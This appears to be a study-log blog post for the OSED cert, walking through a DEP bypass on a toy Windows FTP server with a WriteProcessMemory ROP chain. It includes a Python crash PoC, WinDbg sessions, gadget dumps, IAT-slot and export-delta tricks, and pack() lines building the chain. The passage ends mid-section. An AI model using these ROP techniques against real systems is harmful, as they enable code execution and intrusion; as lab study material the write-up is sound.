borrowing wpm to politely ignore dep

DEP is why the naive ret-to-shellcode trick stopped working on x86 win. The stack is read/write, not execute, so a nop sled parked there is just data. Point eip at it and the cpu says no.

One trick we can use is to ask the process to copy our shellcode into executable memory with WriteProcessMemory1, then pivot the stack into that copy. The process already trusts the function; we just borrow it through a rop chain.

In this post the victim is GatoFTP2, a toy FTP server with an unchecked USER command. Any resemblance to real software is accidental.

warning

This post assumes you already know how to exploit a vanilla stack buffer overflow in x86 win (I won’t re-explain that). The focus here is the dep bypass and the WriteProcessMemory rop chain.

note

This is part of my preparation for the OSED cert, so this is partly a study log and partly a lab write-up.

Let’s pwn this! 😼

dep, like in johnny depp?

DEP stands for Data Execution Prevention3. It is a per-page permission enforced by the CPU: the OS marks pages with an NX (No eXecute) bit, and if EIP lands on a page without execute permission, the CPU raises an access violation (c0000005).

That is what killed the old jmp esp + nop sled trick. EIP can still point at the stack; the stack just refuses to run.

how do I know the stack is not executable?

The PE header tells you what the binary asked for, and WinDbg tells you what the process got. dumpbin /headers shows NX compatible when the binary was linked with /NXCOMPAT; !nmod shows nxcompat yes; !vprot esp shows the actual page protection:

0:000> !vprot esp
Protect:  00000004  PAGE_READWRITE
0:000> !vprot eip
Protect:  00000020  PAGE_EXECUTE_READ

PAGE_READWRITE on ESP is the whole problem. The other flags matter too: /DYNAMICBASE enables ASLR, /SAFESEH adds exception-handler checks, and /GS adds stack cookies. In this lab, squeaker.dll was built without /DYNAMICBASE, which is why its addresses are stable enough to type.

what can we do about it?

We need to get our shellcode into a page that already has execute permission. There are three usual ways:

API what it does arguments that matter
WriteProcessMemory copies bytes into an existing region hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten
VirtualAlloc reserves or commits a new region with the protection you ask for lpAddress, dwSize, flAllocationType, flProtect
VirtualProtect changes the protection of an existing region lpAddress, dwSize, flNewProtect, lpflOldProtect

For WPM, hProcess = -1 is the current process, lpBaseAddress is the cave, lpBuffer is the shellcode still sitting on the stack, nSize is its length, and lpNumberOfBytesWritten is a writable dword (or NULL).

WPM argument value in this chain why
hProcess 0xFFFFFFFF pseudo-handle for the current process
lpBaseAddress cave destination, already executable
lpBuffer source on stack shellcode bytes, runtime address
nSize len(shellcode) byte count, and it must dodge the badchars
lpNumberOfBytesWritten writable dword optional, but useful for the proof

The return address is the seventh dword. A normal call pushes it for you, but our pivot is a ret, so we have to put it on the stack. That is the part people forget on the exam.

VirtualAlloc needs flAllocationType = MEM_COMMIT | MEM_RESERVE and flProtect = PAGE_EXECUTE_READWRITE. It returns the new region in EAX, but you still need a way to copy the shellcode there; that is more ROP.

VirtualProtect takes an existing region and flips it to PAGE_EXECUTE_READWRITE. It is useful when the shellcode is already in a writable page (the stack, for example), but you still need to call it with the right arguments and then jump to the shellcode. More dwords, same idea.

We use WPM because the cave is already executable: one call copies the body and returns straight into it. The tradeoff is that WPM needs the fake call frame and a clean pointer from the IAT, which is what the rest of this post is about.

rop in one minute

ROP4 gets around that without turning dep off. You collect small instruction sequences that already live in executable memory, each ending in ret. Each ret pops the next address from the stack, so you can chain the snippets together.

Those snippets are gadgets5. One gadget loads a value, another moves it, another writes it. The chain is just a list of addresses and data on the stack; the CPU never executes anything you wrote on the stack.

We use a ROP stage, not pure ROP: the chain calls one API, and the shellcode does the rest. In this post that API is WriteProcessMemory6, and the cave7 is where the body lands.

tha plan

Here we will review how to go from a naive stack overflow to a working dep bypass on x86. The target is a win 10 x86 VM with dep on. The dynamic work happens in WinDbg’s console.

Before we build anything, these are the inputs the chain needs:

variable what it is how to get it tools we can use
offset bytes from the input to saved eip crash with a cyclic pattern msf-pattern_create / msf-pattern_offset — pattern + lookup
badchars bytes the input path drops or rewrites send a sweep, read memory WinDbg — dump; Python — sweep script
cave executable scratch space for the payload scan module slack or executable pages code_caver — cave hunter; !address — page permissions
module stable image with useful gadgets check rebase, ASLR, and address bytes Narly !nmod — module flags; !dh — PE headers
gadgets short instruction sequences ending in ret dump the module and filter the dump rp++ — gadget dump; ropfilter — query the dump
api pointer live address of the call or write primitive read an IAT slot or compute a delta dps — IAT slots; x / ? — symbols + math
frame call frame laid out as data write it with the chain struct.pack — little-endian dwords
payload shellcode or stager encode it against the badchars msfvenom — encoded body

The thread through the post is simple: step 0 gives us offset and badchars; step 3 finds the cave; step 4 picks the module and the api pointer; step 5 finds the gadgets; step 7 builds the frame around them; step 8 proves it with a payload. Each section reuses the artifacts from the previous one.

Here is the same plan as a decision tree. The colors are explained in the legend. It is generic on purpose: the same shape works for other dep bypasses, not just this binary.

The rop chain decision tree A generic vertical tree for building a rop chain against a non-executable stack. Main tasks run down the left trunk: get control, find executable memory, resolve a primitive, shop for gadgets, build the frame, and prove the chain. Green cards are subtasks, yellow cards are issues or decisions, red cards are no-gos, and cyan cards are workarounds. legend task subtask issue / decision no-go workaround ROP chain for a non-executable stack a reusable plan, not one binary 1 · get control crash, offset, dead bytes trigger the crash reach the copy measure the offset pattern -> offset map dead bytes sweep every byte 2 · find executable memory cave + module cave is executable and large enough cave too small? another module / body other module / body or smaller payload module is stable no rebase module rebases? every boot leak or brute force needs a leak address bytes clean no dead bytes bad address bytes? cannot type it another instance or another route 3 · resolve a primitive call or write API API is imported? survey the modules nobody imports? need a pointer delta from export same module only slot bytes clean? no dead bytes slot is dirty? cannot type it walk from a neighbor add or subtract direct dereference use the pointer 4 · shop for gadgets triage every candidate junk after useful part feed filler ret N at the end plan the dead zone side-effect write audit the target harmless read audit, then accept clobbers live register reorder / another bad address bytes another instance call / conditional jump no-go stack-eating gadget count or no-go missing semantics synthesize two-hop chain reg -> reg arithmetic add / neg / dec writer disp. aim offset wider search module / deeper 5 · build the frame data before it is a call layout the frame target, return, args patch runtime values pointers and sizes pivot the stack ret becomes call 6 · prove and swap trap first, payload later trap payload int3 or breakpoint verify the landing memory and registers swap real payload listener

Steps 0 through 2 are the vanilla part: crash, offset, badchars. We’ll keep them short; the dep work starts at step 3.

step 0: meeting the victim

OK, so the banner introduces itself:

$ nc 10.10.10.15 2121
220-  /\_/\
220- ( o.o ) GatoFTP 1.3.7 ready.
220-  > ^ <
220 user accepted. meow.

The USER handler copies the whole argument into a 512-byte stack buffer. The loop only stops at the line ending. Everything above the buffer, saved registers, saved EBP, the return address, gets overwritten with whatever we send.

Start the server under WinDbg:

C:\> windbg -g C:\GatoFTP\GatoFTP.exe
...
0:000> g

The initial PoC already carries the two numbers we care about: the offset and the badchars.

#!/usr/bin/env python3
# gatofp_wpm_rop.py
import socket

HOST = "10.10.10.15"
OFFSET = 512                 # known from the vanilla crash
BADCHARS = {0x00, 0x0a, 0x0d}  # from the vanilla byte sweep

def send(host, payload):
    with socket.create_connection((host, 2121), timeout=5) as s:
        s.recv(1024)
        s.sendall(b"USER " + payload + b"\r\n")

if __name__ == "__main__":
    payload = b"A" * OFFSET + b"BBBB"
    assert not set(payload) & BADCHARS
    send(HOST, payload)

It crashes with EIP under control:

$ python3 gatofp_wpm_rop.py
...
eip=42424242 esp=0019f604 ebp=41414141 ...

EIP is ours. The stack is PAGE_READWRITE, so pointing EIP at it is not going to work. That’s the pre-DEP dance; we can skip it.

tip

If you can’t land four controlled bytes in EIP, stop here. The rest of this post assumes the vanilla overflow is already solved.

step 1-2: how we got those numbers

We already did the vanilla part. The offset came from msf-pattern_create and msf-pattern_offset: a 600-byte cyclic pattern put 0x31724130 in EIP, which mapped to offset 512.

The badchar list came from a byte sweep: 0x0a ended the line, 0x0d was the CR twin, so the dead list is 00 0a 0d.

That’s standard stack overflow work. The rest of this post is about what happens after EIP is ours.

tip

If the offset or the badchar list moves between runs, fix that before you touch dep 🧠.

rop in practice

The dep section gave us the idea. Here is the concrete version.

The stack is data. If EIP points at a ret in executable memory, the CPU pops the next dword from the stack into EIP. That dword can be another ret in executable memory. Repeat.

A gadget is just a short sequence ending in ret or ret N. You find them in .text of any loaded module, not in the stack. ret is 0xC3; ret N is 0xC2 xx xx. rp++ scans the module byte by byte and prints the sequences it can decode, including the ones that start in the middle of another instruction.

The chain is a list of addresses and data:

stack:
  [0x6B71193C]  pop ecx ; ret
  [0x6B7143FC]  value for ECX
  [0x6B711B28]  mov eax, ecx ; ret
  [0x6B711D77]  inc eax ; ret
  ...

The CPU reads the first address into EIP. pop ecx eats the next dword, ret reads the next address, and so on. Nothing in that stack is executed; each gadget is.

The roles you will need in this post:

goal gadget shape example
load a constant pop reg ; ret pop ecx ; ret
move a value mov dst, src ; ret mov eax, ecx ; ret
add or subtract add reg, reg ; ret add eax, ecx ; ret
write memory mov [reg], reg ; ret mov [eax+4], ecx ; ret
capture ESP mov ebp, esp ; ... ; ret mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret
pivot xchg eax, esp ; ... ; ret xchg eax, esp ; ... ; ret
call an API no call gadget: fake frame + ret WPM frame in step 7

That last row is the whole trick. You cannot call from the stack, so you put the call frame there as data and let a ret do the call.

tip

If a gadget ends in ret, it is a candidate. If it also does something dangerous before the ret, it is a candidate with a tax. Step 6 is the tax law.

step 3: the cave

OK, so we can control eip. Now we need a place to put the shellcode.

Remember the dead bytes 00, 0a, and 0d from step 1-2. Every address we type from here has to dodge them, and the cave address is no exception.

WriteProcessMemory will write into read-only pages: it flips them writable for the copy and puts them back. That is the same trick a debugger uses to plant an int3 in read-only code. We are borrowing the badge.

The destination still has to end up executable, because the point is landing somewhere dep can’t complain about. The stack is out. We squat in slack space at the tail of .text: a code cave 🕳️.

Where do you find executable real estate in a process you’ve never compiled? You look at the parts the compiler wasted. code_caver is a pykd script, which means it runs inside WinDbg against live memory and checks real page protections instead of guessing from the file. Load pykd, point it at the module:

0:000> .load pykd
0:000> !py C:\tools\code_caver.py squeaker.dll
[+] code_caver: module squeaker.dll @ 6b710000-6b716000
[*] cave @ 0x6b711f40 (size 0x2c, .text, PAGE_EXECUTE_READ)
[*] cave @ 0x6b712ca0 (size 0x1a8, .text, PAGE_EXECUTE_READ)

The second one is our destination: 0x6B712CA0, 0x1a8 bytes of alignment padding at the end of .text. Check what lives there now:

0:000> db 6b712ca0 L20
6b712ca0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
6b712cb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Makes sense. Zeros are not instructions, and we’re about to overwrite them anyway. 0x1a8 = 424 bytes, comfortably more than the ~351 our eventual shellcode needs.

tip

A cave only works if it is executable, large enough, and stable. Check all three before you write the first gadget.

step 4: the module and its imports

We have EIP and a cave. Now we need two anchors:

  • a module whose gadget addresses are stable and contain no dead bytes;
  • a live pointer to the API that will write into the cave.

The first one comes from the module survey. The second one comes from an IAT slot.

Narly’s !nmod walks the module list and prints what each binary opted into, or didn’t, at compile time:

0:000> .load narly
0:000> !nmod

  base     top        size      rebase  safeseh  aslr   nxcompat  os dll  module
  00400000 00419000   00019000  no      no       no     yes       no      GatoFTP.exe
  6b710000 6b716000   00006000  no      no       no     no        no      squeaker.dll
  74690000 74718000   00088000  no      yes      yes    yes       yes     msvcr120.dll
  76400000 7652c000   0012c000  no      yes      yes    yes       yes     kernel32.dll
  76c00000 76c9f000   0009f000  no      yes      yes    yes       yes     ntdll.dll

Read the table as a list of properties. GatoFTP.exe shows nxcompat yes, which is why dep is on for the whole process; that column is the one we care about.

The rest is ammunition. squeaker.dll never rebases (rebase no, a 2016 build without /DYNAMICBASE; !dh 6b710000 confirms no DYNAMIC characteristic). It predates SafeSEH, and it is loaded in every session because the cat refuses to start without its sound effects.

The system DLLs are full of gadgets, but their aslr yes means they reshuffle every reboot. For us those rows are decorative.

finding a stable wpm ref

Why not hardcode kernel32’s WriteProcessMemory address? Because it changes every boot. A boot-random address is not a plan; it’s a prayer, kek.

There is a second problem the flags don’t show. GatoFTP.exe sits at 0x00400000, so every address inside it carries a null byte. That is dead on arrival with our badchars, before ASLR is even a question.

To overcome this, we can leverage our friend IAT (Import Access Table).

In our scenario, squeaker.dll imports a small arsenal of memory functions:

0:000> dps 6b7143f0 L8
6b7143f0  7640a333 KERNEL32!ReadFile
6b7143f4  7640c211 KERNEL32!SetFilePointer
6b7143f8  7640a120 KERNEL32!WriteFile
6b7143fc  764d1c34 KERNEL32!VirtualProtect
6b714400  764d3b10 KERNEL32!WriteProcessMemory
6b714404  7640e4e1 KERNEL32!FlushFileBuffers
6b714408  7640a221 KERNEL32!CloseHandle
6b71440c  7640a145 KERNEL32!CreateFileA
0:000> ln 764d3b10
(764d3b10)   KERNEL32!WriteProcessMemory

The import address table is the trick that keeps us honest. We will not hardcode any kernel32 address, but the IAT slot of a non-rebased module is a fixed pointer that someone else keeps correct for us. At runtime we dereference the slot and get whatever WriteProcessMemory address is true for that boot.

when the address itself is the problem

Look at the two slots again. Before either of them goes anywhere near a packet, ask what its bytes look like on the wire. This is a five-second check and it should be a reflex:

$ python3 -c 'from struct import pack
for a in (0x6B7143FC, 0x6B714400, 0x6B712CA0):
    print("%08x -> %s" % (a, pack("<L", a).hex(" ")))'
6b7143fc -> fc 43 71 6b
6b714400 -> 00 44 71 6b
6b712ca0 -> a0 2c 71 6b

VirtualProtect’s slot packs to fc 43 71 6b, all clean. WriteProcessMemory’s slot packs to 00 44 71 6b, it starts with a null. 💀 strcpy stops there, the line dies, the packet is truncated, no chain. The cave, for contrast, is clean.

So you never say that address out loud in the payload. The workaround: aim at the clean neighbor and walk with the inc eax ; ret gadget from the dump. Four returns move the pointer from 0x6B7143FC to 0x6B714400 without ever typing the dirty slot.

clean  = 0x6B7143FC
target = 0x6B714400
delta  = target - clean   # 0x4
# 0x6B7143FC -> 0x6B7143FD -> 0x6B7143FE -> 0x6B7143FF -> 0x6B714400

The chain in step 7 turns that delta into four inc eax ; ret gadgets. If the distance were 0x40, you would not type 64 increments; you would split the add into two clean constants, the same trick the source pointer uses later.

The mirror works too: if the dirty slot is below the clean one, subtract with a negative addend. If the distance is forty, split the add into two clean constants, exactly like the 0x204 trick in step 7. Same grammar, different sentence.

Worth separating two things, because they get confused: the slot address is bytes we transmit, so badchars apply. The pointer value inside the slot, kernel32’s runtime address, is read at runtime and never travels through the payload, so it is immune. Your badchars only ever matter for bytes in your packet.

The same dodges apply to constants, not just addresses, and the chain below uses every move in the book:

the move works when where this chain uses it
type it raw all four bytes are clean CAVE = 0x6B712CA0
type the negative -v is clean; use it as an addend -0x3F8 = 0xFFFFFC08, aiming the lpBuffer patch
complement, neg, dec v is small and null-heavy ~0x100 = 0xFFFFFEFF -> 0x100, the nSize patch
split the add v and -v are both dirty 0x204 = 0x03030102 + 0xFCFD0102, the source pointer
walk from a neighbor it’s an address you can’t type 4x inc from 0x6B7143FC to the wpm slot

when nobody imports it

OK, so what if the survey comes up empty? No module on the box imports WriteProcessMemory. That sounds like game over, but it isn’t. What’s missing is a pointer, not the function.

WriteProcessMemory is exported from kernel32 (often as a stub that jumps to kernelbase), and kernel32 is loaded in every process. The real question is how to get from a pointer you do have to the function you want, inside that same module.

the anchor

The survey is still worth doing, because every loaded module’s IAT is a pile of free kernel32 pointers. In this lab, squeaker.dll already gives us CreateFileA at 0x6B71440C, and those bytes (0c 44 71 6b) are clean. That’s our anchor.

kernel32 base slides every boot
  +0x0000A145  CreateFileA          <- clean IAT slot points here
  ...
  +0x000D3B10  WriteProcessMemory
  delta = 0x000C99CB (fixed in the file)

One clean pointer plus one file-relative delta gets you a function nobody imported, without ever typing the dirty address. That is the exam trick, and it works because two exports of the same module live at a fixed distance from each other. That distance is a property of the file, not of the boot. ASLR slides the whole module as one block, so the gap between CreateFileA and WriteProcessMemory inside kernel32 never changes.

Dereference the clean CreateFileA slot at runtime for the live address, add the delta, and you have this boot’s real address of a function nobody imported.

the delta

Where does the delta come from? From a copy of the exact same kernel32 build. In the lab, under the debugger, x gives you both addresses and ? does the subtraction:

0:000> x kernel32!WriteProcessMemory
764d3b10          KERNEL32!WriteProcessMemory (void)
0:000> x kernel32!CreateFileA
7640a145          KERNEL32!CreateFileA (void)
0:000> ? kernel32!WriteProcessMemory - kernel32!CreateFileA
Evaluate expression: 825803 = 000c99cb

the split

One catch: 0xC99CB packs as cb 99 0c 00, and that trailing null kills the packet. Same cure as before, split the add:

0x01010E0E + 0xFF0B8BBD = 0x000C99CB

The low halves (0x0E0E + 0x8BBD = 0x99CB) add without a carry. The high halves (0x0101 + 0xFF0B = 0x1000C) wrap past 0xffff and leave the 0x000C we need. Both constants are clean of 00, 0a, and 0d.

stubs and kernelbase

A naming note, because it trips people up: some kernel32 exports come in *Stub8 flavors, like WriteProcessMemoryStub or VirtualProtectStub. They are valid call targets; they’re thin stubs that jump to the real implementation in kernelbase.

If your IAT slot or your resolver hands you one, use it. A kernelbase export is valid too, if you’re resolving there directly.

Just don’t mix the two modules in one delta: kernel32 and kernelbase are separate images, and ASLR moves them independently. Keep the delta inside one module.

the chain surgery

We are not rewriting the whole chain. Only the part that resolves the WPM pointer changes:

main chain:     VirtualProtect slot -> inc x4 -> live WPM
fallback chain: CreateFileA slot     -> +0x01010E0E -> +0xFF0B8BBD -> live WPM

The fallback still has to land the pointer in [S] and pivot into the fake call frame, so the continuation frame needs two extra pop/add pairs. That is the surgery: same call, different arithmetic.

Section 6 loses the four incs and dereferences the clean CreateFileA slot directly. The continuation frame gains two pop/add pairs, one per delta half, before it swaps the pointer into [S]:

CONT+0x00   POPCX         pop ecx ; ret           first gadget SUPER returns to
CONT+0x04   0x12 bytes of dead zone, skipped by SUPER's retn 0x12
CONT+0x16   0x01010E0E    delta half one, eaten by that POPCX
CONT+0x1A   ADD           add eax, ecx ; ret     EAX = live CreateFileA + 0x01010E0E
CONT+0x1E   POPCX         second helping
CONT+0x22   0xFF0B8BBD    delta half two
CONT+0x26   ADD           add eax, ecx ; ret     EAX = live CreateFileA + 0xC99CB = live WPM
CONT+0x2A   MOVCS         mov ecx, esi ; ret     ECX = S again, the pops clobbered it
CONT+0x2E   XCHGW         xchg [ecx], eax ; pop ebp ; ret    [S] = live WPM
CONT+0x32   junk          eaten by XCHGW's pop ebp
CONT+0x36   MOVAC         mov eax, ecx ; ret     EAX = S
CONT+0x3A   PIVOT         xchg eax, esp ; ... ; ret         the call

The frame is still written with the pop2dec + writer grammar from step 7, just eleven writes instead of five. First one, so you can see the shape:

rop += pack("<L", 0x6B711A79)  # pop eax ; pop ecx ; dec eax ; ret -- EAX = CONT-3, ECX = POPCX
rop += pack("<L", 0x6B71553D)  # CONT-3
rop += pack("<L", 0x6B71193C)  # value: POPCX gadget (pop ecx ; ret)
rop += pack("<L", 0x6B7115B3)  # mov [eax+4], ecx ; ret -- [CONT] = POPCX

The full shopping list, aim minus three, value in the second pop, writer lands it:

write pop into EAX value into ECX
[CONT+0x00] = POPCX 0x6B71553D POPCX
[CONT+0x16] = 0x01010E0E 0x6B715553 0x01010E0E
[CONT+0x1A] = ADD 0x6B715557 ADD
[CONT+0x1E] = POPCX 0x6B71555B POPCX
[CONT+0x22] = 0xFF0B8BBD 0x6B71555F 0xFF0B8BBD
[CONT+0x26] = ADD 0x6B715563 ADD
[CONT+0x2A] = MOVCS 0x6B715567 MOVCS
[CONT+0x2E] = XCHGW 0x6B71556B XCHGW
[CONT+0x32] = junk 0x6B71556F 0x42424242
[CONT+0x36] = MOVAC 0x6B715573 MOVAC
[CONT+0x3A] = PIVOT 0x6B715577 PIVOT

And section 6 becomes six lines, no inc walk, no restore:

rop += pack("<L", 0x6B71193C)  # pop ecx ; ret -- ECX = &CreateFileA slot
rop += pack("<L", 0x6B71440C)  # clean CreateFileA IAT slot
rop += pack("<L", 0x6B711B28)  # mov eax, ecx ; ret -- EAX = slot address
rop += pack("<L", 0x6B7118F2)  # pop ebp ; ret -- EBP = CONT
rop += pack("<L", 0x6B715540)  # continuation frame
rop += pack("<L", 0x6B7112C4)  # mov eax,[eax] ; mov esp,ebp ; ret 0x12 -- deref + pivot

The accounting: eleven writes instead of five costs 24 dwords. The shorter section 6 pays 5 back, so the variant chain lands at 88 dwords, 352 bytes. That still fits the 0x200 runway, with 160 bytes of D filler to spare.

Two pops and two adds bought an api that nobody on the box imported. A PEB walk with hash comparisons would have cost an afternoon and about sixty dwords.

the weak spot

The weak spot is the delta: it is a contract between two offsets in one exact build of kernel32. Patch levels reshuffle exports, so a delta from a different build lands you in the middle of another function, or the middle of an instruction. The second one is worse.

Before trusting the trick outside the lab, check the build. lm vm kernel32 prints the loaded file’s timestamp and size; your copy has to agree. If it doesn’t, recompute the delta.

If even this door is closed, the hallway has others. A VirtualProtect chain is the same skeleton with different dwords.

The write gadget can dribble the shellcode into the cave a dword at a time. Four dwords of chain per dword copied is punishing: 351 bytes of body will not fit this bug’s 1400-byte line budget. The full PEB-to-export-table walk in rop is real, and it is a much longer post.

tip

Badchars apply to the address you type, not to the pointer value you read. That is why an IAT slot can rescue a dirty runtime address.

step 5: gadget shopping

We have the cave and the module. Now we need the instructions inside that module. Copy squeaker.dll off the target, it’s a fixed 2016 build, the file is the memory, and let rp++ grind it 🛠️. -r 5 caps gadgets at five instructions: deep enough to find the glued-together ones, shallow enough that the side effects stay readable.

$ rp++ -f squeaker.dll -r 5 > squeaker_rop.txt

The dump is thousands of lines. A slice, the interesting parts of which we’ll be seeing again:

[INFO] rp++ 2.1.5
[INFO] Loaded: 'squeaker.dll', PE 32 bits, base 0x6b710000
[INFO] Searching for gadgets with a max depth of 5 instructions...
...
0x6b7112c4: mov eax, dword ptr [eax] ; mov esp, ebp ; ret 0x12
0x6b7112f1: lea eax, [ebp-0x04] ; mov dword ptr fs:[0x0], eax ; ret
0x6b71130d: pop ebp ; ret 4
0x6b711437: mov ecx, esi ; ret
0x6b7115b3: mov dword ptr [eax+0x04], ecx ; ret
0x6b7116ea: neg eax ; dec eax ; pop ebp ; ret
0x6b7117a5: add eax, ecx ; ret
0x6b7117b4: mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret
0x6b7118f2: pop ebp ; ret
0x6b71190a: mov eax, ebp ; ret
0x6b71193c: pop ecx ; ret
0x6b7119d2: jmp esp
0x6b7119d6: add esp, 0x20 ; ret
0x6b7119f5: xchg dword ptr [ecx], eax ; pop ebp ; ret
0x6b711a79: pop eax ; pop ecx ; dec eax ; ret
0x6b711b28: mov eax, ecx ; ret
0x6b711c69: xchg eax, esi ; pop ebp ; ret
0x6b711d77: inc eax ; ret
0x6b711d84: jz 0x6b711d90 ; ret
0x6b711e33: xchg eax, esp ; ror bl, 0xc7 ; cmp byte ptr [esi+0x18], dl ; mov eax, 0x6b715634 ; ret

Two of those lines are already dead, and the dump won’t tell you which: 0x6b71130d ends in 0x0d and 0x6b71190a ends in 0x0a. The instructions are perfect, mov eax, ebp ; ret would have been lovely, but an address is the one part of a gadget you cannot patch. Crossed off the menu.

Reading the rest by eye is for people with free time. ropfilter eats rp++ dumps and answers questions. The ones I asked:

$ ropfilter --best-last --safe-enable --addr-no-bytes 0x00,0x0a,0x0d -f squeaker_rop.txt --reg2reg 'esi->eax'
0x6b711c69 # xchg eax, esi ; pop ebp ; ret
$ ropfilter --best-last --safe-enable --addr-no-bytes 0x00,0x0a,0x0d -f squeaker_rop.txt --reg2reg 'ecx->eax'
0x6b711b28 # mov eax, ecx ; ret
$ ropfilter --best-last --safe-enable --addr-no-bytes 0x00,0x0a,0x0d -f squeaker_rop.txt --memwrite 'base=eax,src=ecx,disp=0x04'
0x6b7115b3 # mov dword ptr [eax+0x04], ecx ; ret
$ ropfilter --best-last --safe-enable --addr-no-bytes 0x00,0x0a,0x0d -f squeaker_rop.txt --memread 'base=eax,dst=eax,op=mov,disp=0'
0x6b7112c4 # mov eax, dword ptr [eax] ; mov esp, ebp ; ret 0x12

--safe-enable quietly drops the ones that bite: gadgets that push more than they pop, gadgets that clobber the destination after writing it, gadgets with absolute [0x...] references. --addr-no-bytes 0x00,0x0a,0x0d refuses any address carrying our three dead bytes, so the two crossed-out lines are gone before I ever read a shortlist.

One habit worth keeping: rp++ finds gadgets in the middle of other instructions, bytes that only exist as instructions when you enter them unaligned. They’re legitimate, but verify in the debugger before betting the chain on them:

0:000> u 6b7112c4 L3
6b7112c4 mov     eax,dword ptr [eax]
6b7112c6 mov     esp,ebp
6b7112c8 ret     0x12
0:000> u 6b7115b3 L1
6b7115b3 mov     dword ptr [eax+0x4],ecx

What the chain actually runs, all from squeaker.dll:

role gadget address
capture mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret 0x6B7117B4
lea lea eax, [ebp-0x04] ; mov dword ptr fs:[0x0], eax ; ret 0x6B7112F1
pop ecx pop ecx ; ret 0x6B71193C
add add eax, ecx ; ret 0x6B7117A5
xchg xchg eax, esi ; pop ebp ; ret 0x6B711C69
ecx <- esi mov ecx, esi ; ret 0x6B711437
eax <- ecx mov eax, ecx ; ret 0x6B711B28
writer mov dword ptr [eax+0x04], ecx ; ret 0x6B7115B3
inc inc eax ; ret 0x6B711D77
neg neg eax ; dec eax ; pop ebp ; ret 0x6B7116EA
pop ebp pop ebp ; ret 0x6B7118F2
pop2dec pop eax ; pop ecx ; dec eax ; ret 0x6B711A79
super mov eax, dword ptr [eax] ; mov esp, ebp ; ret 0x12 0x6B7112C4
xchg-write xchg dword ptr [ecx], eax ; pop ebp ; ret 0x6B7119F5
pivot xchg eax, esp ; ror bl, 0xc7 ; cmp byte ptr [esi+0x18], dl ; mov eax, 0x6b715634 ; ret 0x6B711E33

And the landmarks from the earlier steps:

what value
code cave 0x6B712CA0
writable .data dword 0x6B715330
writable .data zone (continuation) 0x6B715540
VirtualProtect iat slot 0x6B7143FC
WriteProcessMemory iat slot 0x6B714400 (the null-byte one)
CreateFileA iat slot 0x6B71440C (clean, the delta anchor)

step 6: imperfect gadgets

Well, the rp++ dump gives you what the compiler left behind, and the compiler was not trying to help you. Almost nothing in that dump is the clean single-purpose gadget you drew on paper.

So before we build anything: how do you read an imperfect gadget without betting the chain on it? Here is the sorting system, with the actual gadgets from this build, one subsection per verdict.

junk after the useful part: feed it

xchg eax, esi comes glued to a pop ebp:

xchg eax, esi
pop  ebp          ; nobody asked for you
ret

Every use costs one junk DWORD, so the packet carries 0x42424242 after it, and the bookkeeping shows right in the script.

Same story with the capture gadget’s two extra pops: mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret wants two junk DWORDs, and its dec eax lands on a register that was junk to begin with. Eight bytes for the EBP capture, receipt attached:

eip  = pack("<L", 0x6B7117B4)  # mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret
rop += pack("<L", 0x42424242)  # junk for pop eax
rop += pack("<L", 0x42424242)  # junk for pop ecx

The rule of thumb: junk after the instruction you wanted is always payable in filler, as long as the gadget still ends in ret.

when the junk becomes load-bearing

Sometimes the dragged-along instruction is the whole point. pop eax ; pop ecx ; dec eax ; ret, read as a sloppy pop eax, drags a pop ecx behind it. In step 7’s .data writes that second pop is the delivery mechanism:

rop += pack("<L", 0x6B711A79)  # pop eax ; pop ecx ; dec eax ; ret
rop += pack("<L", 0x6B71553D)  # first pop: CONT-3 into EAX
rop += pack("<L", 0x6B7119F5)  # second pop: XCHGW gadget into ECX
rop += pack("<L", 0x6B7115B3)  # mov [eax+4], ecx ; ret -- [CONT] = XCHGW

One gadget, two loads and an adjustment. The same shape was a cost at the top of the chain and a feature at the bottom. Judge junk relative to what you need from that specific gadget, never in the abstract.

side-effect writes: audit them

The lea gadget computes ebp-4 and, as a hobby, writes EAX into fs:[0], the head of the seh chain:

lea eax, [ebp-0x04]
mov dword ptr fs:[0x0], eax   ; a write to memory the process cares about
ret

An unaudited side-effect write is how chains die quietly. The audit is three questions:

  • Does anything walk that memory between here and my last gadget?
  • Can the write itself fault?
  • Is the clobbered value ever read again?

Here, no exception handler is installed between the crash and the api call. fs:[0] points at writable stack, and nothing reads it before the int3 in the cave fires. Accepted, and noted in the script.

Had GatoFTP been the SEH-walking kind, this gadget would have been a no-go, and I would have computed the source pointer another way. General rule: a side-effect write is fine if the target is provably dead until after your last gadget fires.

ret N gadgets: plan the dead zone

The super gadget ends in ret 0x12, not ret. After it pops the next eip it adds 0x12 to ESP, skipping 18 bytes of whatever ESP points at. Workable; you just design the layout around it.

In step 7 the continuation frame reserves +0x04 through +0x15 as a dead zone and puts the next live DWORD at +0x16. Forget the 0x12 and the chain resumes 18 bytes from where you thought.

The dump’s add esp, 0x20 ; ret is the same idea from the other direction: a deliberate 32-byte skip, payable if you plant eight junk DWORDs behind it. Pointless in this chain, our filler does that job for free, but a gadget that eats stack is not automatically a no-go. It’s an arithmetic problem.

perfect gadget, dead address

You already met the victims in step 5: mov eax, ebp ; ret exists at 0x6b71190a and might as well not, and pop ebp ; ret 4 sits at 0x6b71130d. There is no workaround for a dead address.

Only another instance of the same semantics somewhere cleaner, or a different route to the same result, which is exactly what the lea gadget is. Never fall in love with a gadget before checking its bytes.

the hard no-gos

  • jmp esp and jmp dword ptr [eax+0x18]: no ret. Control flow you cannot aim is not a gadget, it’s a coin flip.
  • anything with a call in the middle: a call pushes a return address onto the stack your chain is walking through, corrupting the next slot. There are exotic ways to feed a call; none of them are beginner-legal.
  • conditional branches, like the dump’s jz 0x6b711d90 ; ret: the flags at chain time are whatever the previous gadget left behind. You’d be betting the chain on debris.
  • pushad-carrying gadgets: pushad writes eight registers’ worth of state onto the next 32 bytes of your chain, flattening four future DWORDs. No-go unless those bytes were filler anyway, and counting that is its own homework.
  • int3 or int1 inside: the debugger catches you mid-chain. Funny once, unproductive.
  • writes to absolute addresses you didn’t scout: ropfilter’s --safe-enable drops these on sight, for good reason. If that field is load-bearing, you’ve traded one crash for two.
  • clobber of a live register: in step 7 the skeleton address lives in ESI from section 4 to the very end. Any mov esi, X in between kills the lifeline. Order the chain so lifelines are read before anyone is allowed to clobber.

the gadget you need doesn’t exist

It never does. What exists instead:

